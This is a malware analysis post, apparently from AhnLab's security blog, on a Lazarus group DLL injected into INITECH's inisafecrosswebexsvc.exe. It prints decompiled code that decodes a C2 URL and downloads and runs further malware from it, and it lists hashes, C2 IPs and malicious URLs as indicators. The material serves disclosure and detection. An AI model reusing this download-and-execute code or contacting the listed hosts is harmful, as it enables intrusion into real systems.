New Malware of Lazarus Threat Actor Group Exploiting INITECH Process

asec.ahnlab.com/en/33801/

By jcleebobgatenet April 26, 2022

The AhnLab ASEC analysis team has discovered that there are 47 companies and institutions—including defense companies—infected with the malware distributed by the Lazarus group in the first quarter of 2022. Considering the severity of the situation, the team has been monitoring the infection cases.

In systems of the organizations infected with the malware, it was found that malicious behaviors stemmed from the process of INITECH (inisafecrosswebexsvc.exe), the security company.

The team initially secured the following information of inisafecrosswebexsvc.exe from the infected systems.
The executable 'inisafecrosswebexsvc.exe' is:

- An executable of INISAFE CrossWeb EX V3, a security program of INITECH.
- A file with hash value that is the same as the normal file (MD5: 4541efd1c54b53a3d11532cb885b2202).
- A file that was normally signed by INITECH.
- A file that was installed by INISAFE Web EX Client before the system was breached, without traces of modifications.
- A file that is run by iniclientsvc_x64.exe when the system is booted. The case was the same for the day when the system was breached.

The confirmed inisafecrosswebexsvc.exe is a normal file that is not modified. Upon checking the history of running processes and the code of SCSKAppLink.dll (malware), it was found that the dll file was injected into inisafecrosswebexsvc.exe to be operated.

SCSKAppLink.dll includes a code that branches depending on the host process for injection. The branch code is designed to access hxxps://materic.or.kr/include/main/main_top.asp?prd_fld=racket to download and run additional malware strains if the dll file is injected into the inisafecrosswebexsvc.exe process to operate.

Other branches check the injection status for svchost.exe, rundll32.exe, and notepad.exe. However, seeing as the branching statements do not include execution codes, it appears that the malware is not a complete one.

inisafecrosswebexsvc.exe injected with SCSKAppLink.dll accessed the URL for malware distribution and downloaded main_top[1].htm (downloader) in the Internet temporary files folder. Then it copied the file to SCSKAppLink.dll.

- Download Path: c:\users\<User>\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm
- Copy Path: C:\Users\Public\SCSKAppLink.dll

```
    hLibModule = hinstDLL;
    GetModuleFileNameW(0, Filename, 0x201u);
    v3 = Filename[0];
    v4 = wcsrchr(Filename, 0x5Cu);
    wcscpy_s(Destination, 0x40u, v4 + 1);
    fn_vswprintf_s(FileName, (wchar_t *)L"%c:\\%s", v3, v22);
    if ( !_wcsicmp(Destination, L"svchost.exe") )
    {
      fn_strcpy(str_arg, L"packNetUpdate", 13);
      goto LABEL_12;
    }
    if ( !_wcsicmp(Destination, L"svchost.exe") )
    {
      fn_strcpy(str_arg, L"natService", 10);
      goto LABEL_12;
    }
    if ( _wcsicmp(Destination, L"rundll32.exe") )
    {
      if ( _wcsicmp(Destination, L"notepad.exe") && _wcsicmp(Destination, str_INISAFECrossWebExSvc_exe) )
      {
        fn_strcpy(str_arg, L"nutPackage", 10);
      }
      else
      {
        fn_strcpy(str_arg, L"nusrmgr", 7);
        fn_vswprintf_s(Buffer, (wchar_t *)L"%c:\\%s", v3, v18);
        fn_vswprintf_s(v13, (wchar_t *)L"%c:\\%s", v3, v20);
      }
LABEL_12:
      if ( GetFileAttributesW(FileName) == -1 ) // "C:\Users\Public\SCSKAppLink.dll"
        fn_strcpy(str_arg, L"natService", 10);
      if ( GetFileAttributesW(Buffer) == -1 && GetFileAttributesW(v13) == -1 )// "C:\Program Files (x86)\INI
                                                // "C:\Program Files\INITECH\INISAFE Web EX Client\INISAFECr
        sub_10002A20(str_arg, L"packNetUpdate");
      StartupInfo.cb = 0x44;
```

Figure 1. SCSKAppLink.dll's branch code that follows host process

```
fn_memset(v6, v5);
fn_decStr((wchar_t *)v6, "wdlw_S7SvLBxv");    // "materic.or.kr"
v8 = 0;
fn_memset(v7, v1);
fn_decStr((wchar_t *)v7, "3jdVsOCxqlT9:-1b<xSVcRrbc7?58eDp2XxxGydY9");// "/include/main/main_top.asp?prd_fld=racket"
LOBYTE(v8) = 1;
v4 = sub_100013A0(v7);
v3 = v2;
sub_100013A0(v6);
fn_downFile(v3, v4);                          // "https://materic.or.kr/include/main/main_top.asp?prd_fld=racket"
FreeLibraryAndExitThread(hLibModule, 0);
```

Figure 2. SCSKAppLink.dll code (C2 URL accessed when the host is inisafecrosswebexsvc.exe)

An identical malware type was mentioned in the blog post of Symantec a few days ago. The post titled 'Lazarus Targets Chemical Sector' uploaded on April 15th reveals that the Lazarus group attacked the chemical sector. It appears the group is expanding its scope of attack to

major Korean companies in sectors such as defense and chemical. (https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical).

AhnLab considers SCSKAppLink.dll as a malware type made by the Lazarus group and is continuously tracking related malware strains. The IOC of the related malware strains discovered so far is as follows:

[File Detection]

- Data/BIN.Encoded
- Downloader/Win.LazarAgent
- Downloader/Win.LazarShell
- HackTool/Win32.Scanner
- Infostealer/Win.Outlook
- Trojan/Win.Agent
- Trojan/Win.Akdoor
- Trojan/Win.LazarBinder
- Trojan/Win.Lazardoor
- Trojan/Win.LazarKeyloger
- Trojan/Win.LazarLoader
- Trojan/Win.LazarPortscan
- Trojan/Win.LazarShell
- Trojan/Win.Zvrek
- Trojan/Win32.Agent

[File MD5]

- 0775D753AEAEBC1CFF491E42C8950EC0
- 0AC90C7AD1BE57F705E3C42380CBCCCD
- 0F994F841C54702DE0277F19B1AC8C77
- 196FE14B4EC963BA98BBAF4A23A47AEF
- 1E7D604FADD7D481DFADB66B9313865D
- 2EF844ED5DCB9B8B38EBDE3B1E2A450C
- 39457097686668A2F937818A62560FE7
- 3D7E3781BD0B89BA88C08AA443B11FE5
- 3ECD26BACD9DD73819908CBA972DB66B
- 4B96D9CA051FC68518B5A21A35F001D0
- 4E2DFD387ADDEE4DE615A57A2008CFC6
- 5349C845499A6387823FF823FCCAA229
- 570F65824F055DE16EF1C392E2E4503A
- 683713A93337F343149A5B3836475C5D
- 6929CAA7831AE2600410BC5664F692B3
- 6A240B2EDC1CA2B652DBED44B27CB05F

- 7188F827D8106F563980B3CCF5558C23
- 7607EF6426F659042D3F1FFBFEA13E6A
- 7870DECBC7578DA1656D1D1FF992313C
- 7BF6B3CD3B3034ABB0967975E56F0A4B
- 81E922198D00BE3E6D41DCE773C6A7FB
- 878AD11012A2E965EA845311FB1B059F
- 8FCDF6506CA05EFAFC5AF35E0F09B341
- 933B640D26E397122CE8DE9293705D71
- A329AC7215369469D72B93C1BAC1C3C4
- A8B90B2DD98C4FDD4AE84A075A5A9473
- ADF0D4BBEFCCF342493E02538155E611
- B213063F28E308ADADF63D3B506E794E
- B3E03A41CED8C8BAA56B8B78F1D55C22
- B5EAEC8CE02D684BAA3646F39E8BC9B5
- B85FDE972EE618A225BFBA1CEF369CC8
- B91D1A5CC4A1DE0493C1A9A9727DB6F9
- B974BC9E6F375F301AE2F75D1E8B6783
- BB9F5141C53E74C9D80DCE1C1A2A13F0
- C99D5E7EDBA670515B7B8A4A32986149
- CB5401C760B89D80657FC0EFC605AE62
- D3BFA72CC8F6F8D3D822395DBC8CD8B8
- D57F8CD2F49E34BEDA94B0F90426F7B3
- D9BC5EDCE4B1C4A941B0BF8E3FAC3EA8
- DD3710ABFACDF381801BB11CF142BD29
- DD759642659D7B2C7FD365CBEFF4942E
- E04206BA707DE4CDE94EFEDA6752D0CA
- E6265DCCFDEF1D1AA134AEC6236734F8
- E84404DED7096CD42EF39847DE002361
- E8D7EAF96B3E5AEE219013C55682968C
- EC99EBB78857211EB52EB84750D070E7
- F15FD25A4C6E94E2202090BBB82EBC39
- F48369111F2FAABB0CCB5D1D90491E0E

[IP/URL]

- 164.125.51.42
- 49.247.9.177
- 211.218.150.44 80
- 80.244.187.216
- 112.175.92.56
- 59.8.194.228
- hxxps://www.materic.or.kr/include/main/main_top.asp

- hxxps://www.gaonwell.com/data/base/mail/login.asp
- hxxp://www.h-cube.co.kr/main/image/gellery/gallery.asp
- hxxps://www.shoppingbagsdirect.com/media/images/?ui=t
- hxxps://www.okkids.kr/html/program/display/?re=32
- hxxps://www.namchoncc.co.kr/include/?ind=55

Subscribe to AhnLab's next-generation threat intelligence platform 'AhnLab TIP' to check related IOC and detailed analysis information.

Categories:Malware Information

Tagged as:BREACH INCIDENT,Forensics,Lazarus